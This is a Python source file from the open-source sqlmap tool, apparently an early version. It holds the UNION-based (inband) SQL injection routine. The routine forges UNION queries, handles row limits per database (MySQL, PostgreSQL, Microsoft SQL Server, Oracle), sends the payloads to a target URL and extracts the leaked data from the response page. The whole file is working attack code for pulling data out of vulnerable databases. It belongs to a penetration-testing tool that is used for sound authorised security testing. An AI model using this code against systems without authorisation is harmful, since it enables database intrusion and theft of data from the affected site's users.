#!/usr/bin/env python

"""
$Id$

Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""

import re
import time

from lib.core.agent import agent
from lib.core.common import calculateDeltaSeconds
from lib.core.common import getUnicode
from lib.core.common import parseUnionPage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.utils.resume import resume

reqCount = 0

def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True, dump=False):
    """
    This function tests for an inband SQL injection on the target
    url then call its subsidiary function to effectively perform an
    inband SQL injection on the affected url
    """

    count      = None
    origExpr   = expression
    start      = time.time()
    startLimit = 0
    stopLimit  = None
    test       = True
    value      = ""

    global reqCount

    if resetCounter:
        reqCount = 0

    if not kb.unionCount:
        unionTest()

    if not kb.unionCount:
        return

    # Prepare expression with delimiters
    if unescape:
        expression = agent.concatQuery(expression, unpack)
        expression = unescaper.unescape(expression)

    if ( kb.unionNegative or kb.unionFalseCond ) and not direct:
        _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)

        # We have to check if the SQL query might return multiple entries
        # and in such case forge the SQL limiting the query output one
        # entry per time
        # NOTE: I assume that only queries that get data from a table can
        # return multiple entries
        if " FROM " in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)

            if limitRegExp:
                if kb.dbms in ( "MySQL", "PostgreSQL" ):
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms == "Microsoft SQL Server":
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms == "Oracle":
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a "LIMIT #, 1"
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the " LIMIT "
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ( "MySQL", "PostgreSQL" ):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
                        expression = expression[:untilLimitChar]

                    elif kb.dbms == "Microsoft SQL Server":
                        stopLimit += startLimit
                elif dump:
                    if conf.limitStart:
                        startLimit = conf.limitStart
                    if conf.limitStop:
                        stopLimit = conf.limitStop

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
                        test = False
                    else:
                        test = True

                if test:
                    # Count the number of SQL query entries output
                    countFirstField   = queries[kb.dbms].count.query % expressionFieldsList[0]
                    countedExpression = origExpr.replace(expressionFields, countFirstField, 1)

                    if re.search(" ORDER BY ", expression, re.I):
                        untilOrderChar = countedExpression.index(" ORDER BY ")
                        countedExpression = countedExpression[:untilOrderChar]

                    count = resume(countedExpression, None)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            output = unionUse(countedExpression, direct=True)

                            if output:
                                count = parseUnionPage(output, countedExpression)

                        if count and count.isdigit() and int(count) > 0:
                            stopLimit = int(count)

                            infoMsg  = "the SQL query provided returns "
                            infoMsg += "%d entries" % stopLimit
                            logger.info(infoMsg)

                        elif count and not count.isdigit():
                            warnMsg  = "it was not possible to count the number "
                            warnMsg += "of entries for the SQL query provided. "
                            warnMsg += "sqlmap will assume that it returns only "
                            warnMsg += "one entry"
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif ( not count or int(count) == 0 ):
                            warnMsg  = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                            return

                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
                        warnMsg  = "the SQL query provided does not "
                        warnMsg += "return any output"
                        logger.warn(warnMsg)

                        return

                    for num in xrange(startLimit, stopLimit):
                        if kb.dbms == "Microsoft SQL Server":
                            field = expressionFieldsList[0]
                        elif kb.dbms == "Oracle":
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = resume(limitedExpr, None)

                        if not output:
                            output = unionUse(limitedExpr, direct=True, unescape=False)

                        if output:
                            value += output
                            parseUnionPage(output, limitedExpr)

                    return value

        value = unionUse(expression, direct=True, unescape=False)

    else:
        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(expression, nullChar=nullChar)
        payload = agent.payload(newValue=query)

        # NOTE: for debug purposes only
        #debugMsg = "query: %s" % payload
        debugMsg = "query: %s" % query
        logger.debug(debugMsg)

        # Perform the request
        resultPage, _ = Request.queryPage(payload, content=True)
        reqCount += 1

        if kb.misc.start not in resultPage or kb.misc.stop not in resultPage:
            return

        # Parse the returned page to get the exact inband
        # sql injection output
        startPosition = resultPage.index(kb.misc.start)
        endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop)
        value = getUnicode(resultPage[startPosition:endPosition])

        duration = calculateDeltaSeconds(start)

        debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
        logger.debug(debugMsg)

    return value